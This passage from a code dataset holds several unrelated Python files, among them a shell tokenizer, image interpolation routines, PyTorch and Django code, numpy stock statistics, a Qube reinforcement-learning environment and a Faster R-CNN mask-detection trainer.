s[i] == '&' and s[i + 1].isdigit():\n        i += 2\n        lex = ShellTokenType.IO\n      else:\n        lex = ShellTokenType.REDIRECTION\n      return ShellToken(s[index:i], lex, start=index, end=i)\n    i = index\n\n  # Check for command terminators.\n  if c in SHELL_TERMINATOR_CHARS:\n    i += 1\n    return ShellToken(s[index:i], ShellTokenType.TERMINATOR, start=index, end=i)\n\n  # Find the next word.\n  quote = None\n  while i < len(s):\n    c = s[i]\n    if c == quote:\n      quote = None\n    elif quote is None:\n      if c in SHELL_QUOTE_CHARS:\n        quote = c\n      elif c == SHELL_ESCAPE_CHAR:\n        if i+1 < len(s):\n          i += 1\n        else:\n          # reached a trailing backslash\n          break\n      elif c.isspace():\n        break\n      elif c in SHELL_TERMINATOR_CHARS:\n        break\n    i += 1\n  lex = ShellTokenType.FLAG if s[index] == '-' else ShellTokenType.ARG\n  return ShellToken(s[index:i], lex, start=index, end=i)\n\n\ndef GetShellTokens(s):\n  \"\"\"Returns the list of ShellTokens in s.\n\n  Args:\n    s: The string to parse for shell tokens.\n\n  Returns:\n    The list of ShellTokens in s.\n  \"\"\"\n  tokens = []\n  i = 0\n  while True:\n    token = GetShellToken(i, s)\n    if not token:\n      break\n    i = token.end\n    tokens.append(token)\n    if token.lex == ShellTokenType.REDIRECTION:\n      token = GetShellToken(i, s)\n      if not token:\n        break\n      i = token.end\n      token.lex = ShellTokenType.FILE\n      tokens.append(token)\n  return tokens\n","sub_path":"google-cloud-sdk/lib/googlecloudsdk/command_lib/shell/shell_lexer.py","file_name":"shell_lexer.py","file_ext":"py","file_size_in_byte":4687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"248765917","text":"import numpy as np\nfrom PIL import Image\nimport math\n\n\ndef shear(image, k):\n    image = Image.open(image)\n    image_array = np.array(image)\n    [m,n] = np.shape(image_array)\n    t=int(m*k+n)\n    new_array = np.zeros([t, n])\n    for i in range(0,m-1):\n        for j in range(0,n-1):\n            x=int(i+j*k)\n            new_array[x,j]=image_array[i,j]\n    data = Image.fromarray(new_array)\n    data.show()\n    return data\ndef rotation(image,angle):\n    image = Image.open(image)\n    image_array = np.array(image)\n    h = image.height\n    w = image.width\n    anglePi = angle * math.pi / 180.0\n    cosA = math.cos(anglePi)\n    sinA = math.sin(anglePi)\n    X1 = math.ceil(abs(0.5 * h * cosA + 0.5 * w * sinA))\n    X2 = math.ceil(abs(0.5 * h * cosA - 0.5 * w * sinA))\n    Y1 = math.ceil(abs(-0.5 * h * sinA + 0.5 * w * cosA))\n    Y2 = math.ceil(abs(-0.5 * h * sinA - 0.5 * w * cosA))\n    H = int(2 * max(Y1, Y2))\n    W = int(2 * max(X1, X2))\n    new_array = np.zeros([W+1,H+1])\n    for i in range(h):\n        for j in range(w):\n            x = int(cosA * i - sinA * j - 0.5 * w * cosA + 0.5 * h * sinA + 0.5 * W)\n            y = int(sinA * i + cosA * j - 0.5 * w * sinA - 0.5 * h * cosA + 0.5 * H)\n            new_array[x, y] = image_array[i, j]\n    data = Image.fromarray(new_array)\n    data.show()\n    return data\ndef nearest(image,x,y):\n    image_array=np.array(image)\n    [m,n]=np.shape(image_array)\n    new_array=np.zeros([x,y])\n    deth1=m/x\n    deth2=n/y\n    for i in range(0,x-1):\n        for j in range(0,y-1):\n            a=round((i+1)*deth1)\n            b=round((j+1)*deth2)\n            new_array[i,j]=image_array[a-1,b-1]\n    data = Image.fromarray(new_array)\n    data.show()\ndef bilinear(image,x,y):\n    image_array=np.array(image)\n    [m,n]=np.shape(image_array)\n    new_array=np.zeros([x,y])\n    deth1=m/x\n    deth2=n/y\n\n    # f(x , y) = f(X + u, Y + v) =f (X, Y)  * (1 - u) * (1 - v) + f(X, Y + 1) * (1 - u) * v + f(X + 1, Y) * u * (1 - v) + f (X + 1, Y + 1) * u * v;\n    for i in range(0,x-1):\n        for j in range(0,y-1):\n            X=(i+1)*deth1\n            Y=(j+1)*deth2\n            intX=int(X)\n            intY=int(Y)\n            u=X-intX\n            v=Y-intY\n            new_array[i,j] =image_array[intX-1, intY-1] * (1 - u) * (1 - v) + image_array[intX-1, intY ] * (1 - u) * v + image_array[intX, intY-1] * u * (1 - v) + image_array [intX , intY ] * u * v\n    data = Image.fromarray(new_array)\n    data.show()\ndef bicubic_prefunction(x):\n    abs_x=abs(x)\n    if abs_x<1 or abs==1:\n        W=1.5*pow(abs_x,3)-2.5*pow(abs_x,2)+1\n        return W\n    elif abs_x<2 or abs_x>1:\n        W=-0.5*pow(abs_x,3)+2.5*pow(abs_x,2)-4*abs_x+2\n        return W\n    else:\n        W=0\n        return 0\ndef bicubic(image,x,y):\n    image_array=np.array(image)\n    [m,n]=np.shape(image_array)\n    F=np.zeros([x,y])\n    deths1=m/x\n    deths2=n/y\n    for i in range(0,x-1):\n        for j in range(0,y-1):\n            X=deths1*(i+1)\n            Y=deths2*(j+1)\n            intX=int(X)\n            intY=int(Y)\n            u=X-intX\n            v=Y-intY\n            A=np.matrix([[bicubic_prefunction(1+v),bicubic_prefunction(v),bicubic_prefunction(1-v),bicubic_prefunction(2-v)]])\n            B=np.matrix([[image_array[intX-3,intY-3],image_array[intX-3,intY-2],image_array[intX-3,intY-1],image_array[intX-3,intY]],\n                    [image_array[intX-2,intY-3],image_array[intX-2,intY-2],image_array[intX-2,intY-1],image_array[intX-2,intY]],\n                    [image_array[intX-1,intY-3],image_array[intX-1,intY-2],image_array[intX-1,intY-1],image_array[intX-1,intY]],\n                    [image_array[intX,intY-3],image_array[intX,intY-2],image_array[intX,intY-1],image_array[intX,intY]]])\n            test=np.matrix([bicubic_prefunction(1+u),bicubic_prefunction(u),bicubic_prefunction(1-u),bicubic_prefunction(2-u)])\n            C=test.transpose()\n            F[i,j]=float(A*B*C)\n    data=Image.fromarray(F)\n    data.show()\ndef rotate_usepack(image, angle):\n    img2=Image.open(image)\n    img1 = img2.resize((2048, 2048))\n    img3 = img1.rotate(angle)\n\n    img3.show()\n\n#rotate_usepack(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",30)\ndata2 = shear(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\elain1.bmp\",1.5)\nnearest(data2,2048,2048)\nbilinear(data2,2048,2048)\nbicubic(data2,2048,2048)\ndata4 = rotation(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\elain1.bmp\",30)\nnearest(data4,2048,2048)\nbilinear(data4,2048,2048)\nbicubic(data4,2048,2048)\ndata1 = shear(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",1.5)\nnearest(data1,2048,2048)\nbilinear(data1,2048,2048)\nbicubic(data1,2048,2048)\ndata3 = rotation(\"C:\\\\Users\\\\lenovo\\\\Desktop\\\\1\\\\lena.bmp\",30)\nnearest(data3,2048,2048)\nbilinear(data3,2048,2048)\nbicubic(data3,2048,2048)\n\n\n\n","sub_path":"shear_rotate.py","file_name":"shear_rotate.py","file_ext":"py","file_size_in_byte":4690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"208222010","text":"# -*- coding: utf-8 -*-\n# @Author: Codinghare\n# @Date:   2016-10-04 13:13:00\n# @Last Modified by:   Gu Yu\n# @Last Modified time: 2017-06-11 15:22:54\nmaxStr = \"\"\ncurMaxStr = \"\"\nprevChar = \"\"\nif len(s) == 1:\n    maxStr = s\nelse:\n    for char in s:\n    \t#appending current char into temp string if it > previous char\n        if prevChar <= char:\n            curMaxStr += char\n        else:\n        \t#if temp string is the longest string, it is max string\n            if len(curMaxStr) > len(maxStr):\n                maxStr = curMaxStr\n                #re_intitialize the temp string\n                curMaxStr = char\n            else:\n                curMaxStr = char\n        #update the prevchar\n        prevChar = char\n\n#if temp string is always the longest string or temp string is greater than max string at final   \nif len(maxStr) < len(curMaxStr) or maxStr == \"\":\n    maxStr = curMaxStr    \nprint(\"Longest substring in alphabetical order is: \" + maxStr)\n    ","sub_path":"MIT.6.00.1x-Intro-to-CS-by-using-python/Week.1/MIT.6.00.1x_week_1_problem_set_3.py","file_name":"MIT.6.00.1x_week_1_problem_set_3.py","file_ext":"py","file_size_in_byte":960,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"417362626","text":"# Several basic machine learning models\nimport torch\nfrom torch import nn\n\n\nclass LogisticRegression(nn.Module):\n    \"\"\"A simple implementation of Logistic regression model\"\"\"\n    def __init__(self, num_feature, output_size):\n        super(LogisticRegression, self).__init__()\n\n        self.num_feature = num_feature\n        self.output_size = output_size\n        self.linear = nn.Linear(self.num_feature, self.output_size)\n        self.sigmoid = nn.Sigmoid()\n        self.model = nn.Sequential(self.linear, self.sigmoid)\n\n    def forward(self, x):\n        return self.model(x)\n\n\nclass MLP(nn.Module):\n    \"\"\"A simple implementation of Deep Neural Network model\"\"\"\n    def __init__(self, num_feature, output_size):\n        super(MLP, self).__init__()\n        self.hidden = 200\n        self.model = nn.Sequential(\n            nn.Linear(num_feature, self.hidden),\n            nn.Dropout(0.2),\n            nn.ReLU(),\n            nn.Linear(self.hidden, output_size))\n\n    def forward(self, x):\n        return self.model(x)\n\n","sub_path":"MLModel.py","file_name":"MLModel.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"188595143","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n    ]\n\n    operations = [\n        migrations.CreateModel(\n            name='Category',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(unique=True, max_length=128)),\n                ('slug', models.SlugField()),\n                ('description', models.TextField(max_length=1000)),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Experience',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('title', models.CharField(max_length=128)),\n                ('active', models.BooleanField(default=True)),\n                ('company', models.CharField(max_length=128)),\n                ('description', models.TextField(max_length=800)),\n                ('location', models.CharField(max_length=128)),\n                ('start_date', models.DateField()),\n                ('end_date', models.DateField()),\n                ('active_end', models.BooleanField(default=False)),\n                ('duty_list', models.TextField(max_length=800)),\n                ('category', models.ForeignKey(to='web.Category')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Project',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(unique=True, max_length=128)),\n                ('slug', models.SlugField()),\n                ('active', models.BooleanField(default=True)),\n                ('start_date', models.DateField()),\n                ('end_date', models.DateField()),\n                ('introduction', models.TextField(max_length=800)),\n                ('active_end', models.BooleanField(default=False)),\n                ('category', models.ForeignKey(to='web.Category')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.CreateModel(\n            name='Skill',\n            fields=[\n                ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n                ('name', models.CharField(unique=True, max_length=128)),\n                ('slug', models.SlugField()),\n                ('category', models.ForeignKey(to='web.Category')),\n            ],\n            options={\n            },\n            bases=(models.Model,),\n        ),\n        migrations.AddField(\n            model_name='project',\n            name='tag',\n            field=models.ManyToManyField(to='web.Skill'),\n            preserve_default=True,\n        ),\n    ]\n","sub_path":"web/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":3053,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"554343809","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Nov 18 14:10:07 2017\n\n@author: TIM\n\"\"\"\n# %cd \"z:\\\"\nimport sys\nimport numpy as np\n# 读取文件，价格及成交量\nc,v = np.loadtxt('data.csv',delimiter=',',\n                 usecols=(6,7),unpack=True)\n\n# 计算成交量加权平均价格\nvwap = np.average(c,weights=v)\n\nprint('加权平均 VWap = ',vwap)\n\nprint('算术平均 mean =' ,np.mean(c))\n\n# 时间加权平均价格\nt = np.arange(len(c)) # 根据交易的先后，构造一个数字序列\nprint('twap =',np.average(c,weights=t))\n\n# 寻找最大值和最小值\n# 最高价和最低价\nh,l = np.loadtxt('data.csv',delimiter=',',usecols=(4,5),unpack=True)\n\nprint('highest price =',h.max())\n\nprint('最高成交价的波动范围 = ',h.ptp())\nprint('最低成交价的波动范围 = ',l.ptp())\n\n# 中位数\nprint('中位数 = ',np.median(h))\n# 方差\nprint('方差 = ',np.var(h))\nprint('方差 = ', np.mean( (h-np.mean(h))**2))\n\n# 股票收益率\n# np.diff out[n] = a[n+1] - a[n]\nreturns = np.diff(c) / c[:-1]\n\n# 对数收益率\nif (c <= 0).sum() == 0:# 确保没有0或小于零，否则对数报错\n    logreturns = np.diff(np.log(c))\n\n# 收益大于0的位置\nposret_indices = np.where(returns > 0)\n\n# 波动率\n# 年度波动率\nannual_valatility = np.std( logreturns ) / np.mean( logreturns )\nannual_valatility = annual_valatility / np.sqrt(1. / 252)\n\n# 月度波动率\nmonthly_valatility = annual_valatility * np.sqrt(1/12)\n\nfrom datetime import datetime\n# 日期分析\ndef datestr2num(s):\n    #s = str(s,encoding='utf-8')\n    s = bytes.decode(s)\n    return datetime.strptime(s, \"%d-%m-%Y\").date().weekday()\n\ndates, close=np.loadtxt('data.csv', delimiter=',', usecols=(1,6), \n                         converters={1: datestr2num}, unpack=True)\n\naverages = np.zeros(5)\n\nfor i in range(5):\n    indices = np.where(dates == i)\n    prices = np.take(close,indices)\n    avg = np.mean(prices)\n    print('Day ',i,' prices',prices,'Average',avg)\n    averages[i] = avg\n\n\n\n\n","sub_path":"数据分析 金融投资/金融分析实例.py","file_name":"金融分析实例.py","file_ext":"py","file_size_in_byte":1968,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"287302972","text":"\nclass Student:\n\n    school_name = 'Jyothi Bala Mandir'\n\n    def __init__(self, m1, m2, m3):\n        self.m1 = m1\n        self.m2 = m2\n        self.m3 = m3\n\n    def avg(self):\n        return (self.m1 + self.m2 + self.m3)/3\n\n    @classmethod\n    def get_school_name(cls):\n        return cls.school_name\n\n    @staticmethod\n    def info():\n        print('This is a static method....in Student class')\n\ns1 = Student(98, 92, 93)\ns2 = Student(82, 81, 80)\nprint('Avg s1:', s1.avg())\nprint('Avg s2:', s2.avg())\nprint('Access class level variable:name:', Student.get_school_name())\nprint('Info:', Student.info())","sub_path":"Student.py","file_name":"Student.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"433156149","text":"# -*- coding: utf-8 -*-\r\n\r\n# Copyright (c) 2016 by University of Kassel and Fraunhofer Institute for Wind Energy and Energy\r\n# System Technology (IWES), Kassel. All rights reserved. Use of this source code is governed by a\r\n# BSD-style license that can be found in the LICENSE file.\r\n\r\nimport matplotlib.pyplot as plt\r\nimport pandapower.topology as top\r\nimport numpy as np\r\n\r\ndef plot_voltage_profile(net, plot_transformers=True, ax=None, xlabel=\"Distance from Slack [km]\",\r\n                         ylabel=\"Voltage [pu]\", x0=0, trafocolor=\"r\", bus_colors=None, **kwargs):\r\n    if ax is None:\r\n        plt.figure(facecolor=\"white\", dpi=120)\r\n        ax = plt.gca()\r\n    if not net.converged:\r\n        raise ValueError(\"no results in this pandapower network\")\r\n    for eg in net.ext_grid[net.ext_grid.in_service==True].bus:\r\n        d = top.calc_distance_to_bus(net, eg)\r\n        for _, line in net.line[net.line.in_service == True].iterrows():\r\n            if not line.from_bus in d.index:\r\n                continue\r\n            if not ((net.switch.element==line.name) & (net.switch.closed==False)\r\n                    & (net.switch.et=='l')).any():\r\n                fbus = line.from_bus\r\n                tbus = line.to_bus\r\n                x = [x0 + d.at[fbus], x0 + d.at[tbus]]\r\n                try:\r\n                    y = [net.res_bus.vm_pu.at[fbus], net.res_bus.vm_pu.at[tbus]]\r\n                except:\r\n                    raise UserWarning\r\n                ax.plot(x, y, **kwargs)\r\n                if bus_colors is not None:\r\n                    for bus, x, y in zip((fbus, tbus), x, y):\r\n                        if bus in bus_colors:\r\n                            ax.plot(x, y, 'or', color=bus_colors[bus], ms=3)\r\n\r\n                kwargs = {k:v for k,v in kwargs.items() if not k == \"label\"}\r\n        if plot_transformers:\r\n            if hasattr(plot_transformers, \"__iter__\"):  # if is a list for example\r\n                trafos = net.trafo.loc[list(plot_transformers)]\r\n            else:\r\n                trafos = net.trafo[net.trafo.in_service == True]\r\n            for _, trafo in trafos.iterrows():\r\n                if trafo.hv_bus not in d.index:\r\n                    continue\r\n                ax.plot([x0 + d.loc[trafo.hv_bus],\r\n                         x0 + d.loc[trafo.lv_bus]],\r\n                        [net.res_bus.vm_pu.loc[trafo.hv_bus],\r\n                         net.res_bus.vm_pu.loc[trafo.lv_bus]], color=trafocolor,\r\n                        **{k:v for k,v in kwargs.items() if not k == \"color\"})\r\n        if xlabel:\r\n            ax.set_xlabel(xlabel, fontweight=\"bold\", color=(.4, .4, .4))\r\n        if ylabel:\r\n            ax.set_ylabel(ylabel, fontweight=\"bold\", color=(.4, .4, .4))\r\n    return ax\r\n\r\n\r\ndef plot_loading(net, element=\"line\", boxcolor=\"b\", mediancolor=\"r\", whiskercolor=\"k\", ax = None):\r\n    if ax is None:\r\n        plt.figure(facecolor=\"white\", dpi=80)\r\n        ax = plt.gca()\r\n    loadings = net[\"res_%s\"%element].loading_percent.values\r\n    boxplot = ax.boxplot(loadings[~np.isnan(loadings)], whis = \"range\")\r\n    for l in list(boxplot.keys()):\r\n        plt.setp(boxplot[l], lw=3)\r\n        if l == \"medians\":\r\n            plt.setp(boxplot[l], color=mediancolor)\r\n        elif l == \"boxes\" or l == \"whiskers\":\r\n            plt.setp(boxplot[l], color=boxcolor)\r\n        else:\r\n            plt.setp(boxplot[l], color=whiskercolor)\r\n","sub_path":"pandapower/plotting/powerflow_results.py","file_name":"powerflow_results.py","file_ext":"py","file_size_in_byte":3375,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"497435622","text":"\ntodo = []\n\nwhile True:\n\n    select = int(input('Простой todo:\\n    1. Добавить задачу\\n    2. Вывести список задач\\n    3. Выход\\n\\nВыберите опцию: '))\n\n    if select == 1:\n        task = input('Сформулируйте задачу: ')\n        category = input('Добавьте категорию к задаче: ')\n        time = input('Добавьте время к задаче: ')\n        todo.append(('Задача: ' + task, 'Категория: ' + category,\\\n                'Дата: ' + time))\n\n    elif select == 2:\n        for i in todo:\n            for j in i:\n                print(j, end = '; ')\n            print()\n    elif select == 3:\n        break\n\n","sub_path":"lesson_7/my_tasks.py","file_name":"my_tasks.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"634242813","text":"from __future__ import absolute_import\nfrom __future__ import print_function\nfrom __future__ import division\n\nimport numpy as np\nfrom gym import spaces\nfrom gym_brt.envs.qube_base_env import \\\n    QubeBaseEnv, \\\n    normalize_angle, \\\n    ACTION_HIGH, \\\n    ACTION_LOW\n\n\nclass QubeBeginUprightReward(object):\n    def __init__(self):\n        self.target_space = spaces.Box(\n            low=ACTION_LOW,\n            high=ACTION_HIGH, dtype=np.float32)\n\n    def __call__(self, state, action):\n        theta_x = state[0]\n        theta_y = state[1]\n        alpha_x = state[2]\n        alpha_y = state[3]\n        theta_velocity = state[4]\n        alpha_velocity = state[5]\n        theta_acceleration = state[6]\n        alpha_acceleration = state[7]\n\n        theta = np.arctan2(theta_y, theta_x)  # arm\n        alpha = np.arctan2(alpha_y, alpha_x)  # pole\n\n        cost = normalize_angle(theta)**4 + \\\n            normalize_angle(alpha)**2 + \\\n            0.1 * alpha_velocity**2\n\n        reward = -cost\n        return reward\n\n\nclass QubeBeginUprightEnv(QubeBaseEnv):\n    def __init__(self, frequency=1000, use_simulator=False):\n        super(QubeBeginUprightEnv, self).__init__(\n            frequency=frequency,\n            use_simulator=use_simulator)\n        self.reward_fn = QubeBeginUprightReward()\n\n    def reset(self):\n        # Start the pendulum stationary at the top (stable point)\n        state = self.flip_up()\n        return state\n\n    def _done(self):\n        # The episode ends whenever the angle alpha is outside the tolerance\n        return self._alpha > (10 * np.pi / 180)\n\n    def step(self, action):\n        state, reward, _, info = super(QubeBeginUprightEnv, self).step(action)\n        done = self._done()\n        return state, reward, done, info\n\n\ndef main():\n    num_episodes = 10\n    num_steps = 250\n\n    with QubeBeginUprightEnv() as env:\n        for episode in range(num_episodes):\n            state = env.reset()\n            for step in range(num_steps):\n                action = env.action_space.sample()\n                state, reward, done, _ = env.step(action)\n\n\nif __name__ == '__main__':\n    main()","sub_path":"gym_brt/envs/qube_begin_upright_env.py","file_name":"qube_begin_upright_env.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"99"}
+{"seq_id":"191559004","text":"import sys\nimport shutil\nfrom pathlib import Path\nfrom PIL import Image\nfrom tqdm import tqdm\nimport os\n\ndef crop_resize_img(imgfile, source_dir, target_dir):\n    img = Image.open(os.path.join(source_dir, imgfile))\n    width, height = img.size\n\n    left = 0\n    upper = 0\n    right = width\n    lower = height\n\n    # center crop\n    if width > height:\n        left = (width - height) // 2\n        right = left + height\n    else:\n        upper = (height - width) // 2\n        lower = upper + width\n\n    img = img.crop((left, upper, right, lower))\n    \n    img = img.resize((224, 224))\n    width, height = img.size\n    \n    if width != 224 or height != 224:\n        print(\"bad resize\")\n\n#     # resize to 256 x 256\n#     img = img.resize((256, 256))\n    \n#     # final crop\n#     new_width = 224\n#     new_height = 224\n    \n#     width, height = img.size\n\n#     left = width // 2 - new_width // 2\n#     upper = height // 2 - new_height // 2\n#     right = width // 2 + new_width // 2\n#     lower = height // 2 + new_height // 2\n    \n#     img = img.crop((left, upper, right, lower))\n    \n    img.save(os.path.join(target_dir, imgfile))\n    return\n    \ndef main():\n    source_dir = './data/coco/val2017'\n    target_dir = './data/coco/val2017-center-crop-224x224'\n    if not os.path.isdir(target_dir):\n        os.mkdir(target_dir)\n        \n    img_path_list = os.listdir(source_dir)\n    for image_path in tqdm(img_path_list):\n        if image_path.endswith('.jpg'):\n#             print(image_path)\n            crop_resize_img(image_path, source_dir, target_dir)\n\nif __name__ == \"__main__\":\n    main()","sub_path":"scripts/center-crop.py","file_name":"center-crop.py","file_ext":"py","file_size_in_byte":1594,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"299994635","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Oct  9 19:04:24 2018\r\n\r\n@author: Mathias\r\n\"\"\"\r\nnumber_1 = 1\r\nnumber_2 = 99\r\nnumber_result = number_1+number_2\r\nphrase = \"Hello\"\r\n\r\nprint(number_result)\r\n#Giving the phrase a function, to check if the string is uppercase\r\nprint(phrase.isupper())\r\n\r\n#Printing the index where we can find the character \"e\" \r\nprint(phrase.index(\"e\"))\r\n\r\n#Replacing a letter inside a string into a new value.\r\nprint(phrase.replace(\"Hello\", \"Hallo\"))\r\n\r\n#variable that stores input 1 \r\ninput_1 = input(\"Enter your firstname: \")\r\ninput_2 = input(\"Enter your lastname: \")\r\nprint(\"Hello \" + input_1 + \" \" + input_2)\r\n\r\n#Calculator\r\nnum1 = input(\"Enter first number: \")\r\nnum2 = input(\"Enter second number: \")\r\nresult = float(num1)+float(num2)\r\nprint(result)\r\n\r\n\r\n\r\n#Dette er kode frem til Mad Libs ","sub_path":"Youtube-Tutorial/code1.py","file_name":"code1.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"309120254","text":"from collections import deque\n# import sys\n# sys.stdin = open('input.txt')\n# 테스트케이스 입력\nT = int(input())\nfor tc in range(1, T+1):\n    n, m = map(int, input().split())\n    # 피자의 원소가 몇 번째 원소인지를 함께 저장한다.\n    pizza = deque(enumerate(list(map(int,input().split())), 1))\n    oven = deque()\n    # 오븐 최대 용량까지 피자를 넣어준다.\n    for _ in range(n):\n        oven.append(pizza.popleft())\n    # 피자가 한개가 남을 때까지 진행\n    while len(oven) > 1:\n        # 공간이 비었는데 피자가 아직 남아있다면 추가해준다.\n        if len(oven) < n and pizza:\n            oven.append(pizza.popleft())\n        idx, c = oven.popleft()\n        # 치즈 양이 0 이라면 제거해준다.\n        if not c//2:\n            continue\n        # 치즈가 남아있다면 뒤에 추가해준다.\n        else:\n            oven.append((idx, c//2))\n    print('#{} {}'.format(tc, oven.popleft()[0]))\n","sub_path":"Algorithm/swea/[5099] 피자 굽기.py","file_name":"[5099] 피자 굽기.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"59700517","text":"import webbrowser\n\nurls = [\n    'www.github.com',\n    'www.google.com',\n    'www.mail.google.com',\n    'http://edu.ssafy.com/edu/main/index.do',\n    'https://www.youtube.com/channel/UCyn-K7rZLXjGl7VXGweIlcA'\n]\n\nfor url in urls:\n    webbrowser.open(url)\n","sub_path":"00_startcamp/day02/web_browser.py","file_name":"web_browser.py","file_ext":"py","file_size_in_byte":253,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"600189022","text":"from PIL import Image\nfrom os import mkdir\nfrom os.path import join, isdir\nfrom torchvision import transforms, datasets, models\nfrom torchvision.models.detection.faster_rcnn import FastRCNNPredictor\nfrom json import loads\nimport pandas as pd\nimport torch\nimport torchvision\n\nlabel_map = {\n    \"Wearing Mask Correctly\": 1,\n    \"Wearing Mask Incorrectly\": 2,\n    \"Not Wearing Mask\": 3\n}\n\n# Parse bounding boxes\ndef parse_bounding_box(bboxes_string):\n    bboxes = loads(bboxes_string)\n    return [[\n        bbox['left'], bbox['top'], bbox['width'] + bbox['left'], \n        bbox['height'] + bbox['top']] for bbox in bboxes]\n\ndef parse_labels(labels_string):\n    labels = loads(labels_string)\n    return [label_map[label] for label in labels]\n\nclass MaskDataset(object):\n    # Load image labels\n    def __init__(self, transforms):\n        self.transforms = transforms\n        df = pd.read_csv('../data/classifier_input.csv')\n        self.images = df['Image'].values.tolist()\n        self.bboxes = [parse_bounding_box(bboxes_string) for bboxes_string in \n            df['BoundingBoxes'].values.tolist()]\n        self.labels = [parse_labels(labels_string) for labels_string in \n            df['Labels'].values.tolist()]\n\n    # Load image with label\n    def __getitem__(self, idx):\n        image_dir = '../data/bounding_images'\n        img = Image.open(join(image_dir, self.images[idx])).convert(\"RGB\")\n        # Apply image transformations\n        if self.transforms is not None:\n            img = self.transforms(img)\n\n        return img, {\n            'image_id': torch.tensor([idx]),\n            'boxes': torch.as_tensor(self.bboxes[idx], dtype=torch.int64),\n            'labels': torch.as_tensor(self.labels[idx], dtype=torch.int64)\n        }\n\n    def __len__(self):\n        return len(self.images)\n\ndef collate_fn(batch):\n    return tuple(zip(*batch))\n\n# Load pretrained segmentation model\ndef get_model_instance_segmentation(num_classes):\n    model = torchvision.models.detection.fasterrcnn_resnet50_fpn(pretrained=True)\n    in_features = model.roi_heads.box_predictor.cls_score.in_features\n    model.roi_heads.box_predictor = FastRCNNPredictor(in_features, num_classes+1)\n\n    return model\n\ndef main():\n    # Contruct dataset\n    data_transform = transforms.Compose([\n        transforms.ToTensor() \n    ])\n    dataset = MaskDataset(data_transform)\n    dataset = MaskDataset(data_transform)\n    data_loader = torch.utils.data.DataLoader(\n        dataset, batch_size=4, collate_fn=collate_fn)\n    # Get pretrained model\n    model = get_model_instance_segmentation(3)\n    # Check if cuda is available\n    device = torch.device('cuda') if torch.cuda.is_available() else torch.device('cpu')\n    # Define parameters\n    num_epochs = 25\n    model.to(device)\n    params = [p for p in model.parameters() if p.requires_grad]\n    optimizer = torch.optim.SGD(params, lr=0.005, \n                                momentum=0.9, weight_decay=0.0005)\n    data_len = len(data_loader)\n    for epoch in range(num_epochs):\n        model.train()\n        i = 0    \n        epoch_loss = 0\n        for images, boxlabels in data_loader:\n            i += 1\n            images = [image.to(device) for image in images]\n            boxlabels = [{k: v.to(device) for k, v in t.items()} for t in boxlabels]\n            loss_dict = model(images, boxlabels)\n            losses = sum(loss for loss in loss_dict.values())        \n\n            optimizer.zero_grad()\n            losses.backward()\n            optimizer.step() \n            print(f'Iteration: {i}/{data_len}, Loss: {losses}')\n            epoch_loss += losses\n            torch.cuda.empty_cache()\n        print(epoch_loss)\n    # save model\n    models_dir = 'models'\n    if not isdir(models_dir):\n        mkdir(models_dir)\n    torch.save(model.state_dict(),join(models_dir, 'faster_rcnn_model.pt'))\n\nif __name__ == '__main__':\n    main()","sub_path":"src/train_classifier.py","file_name":"train_classifier.py","file_ext":"py","file_size_in_byte":3861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
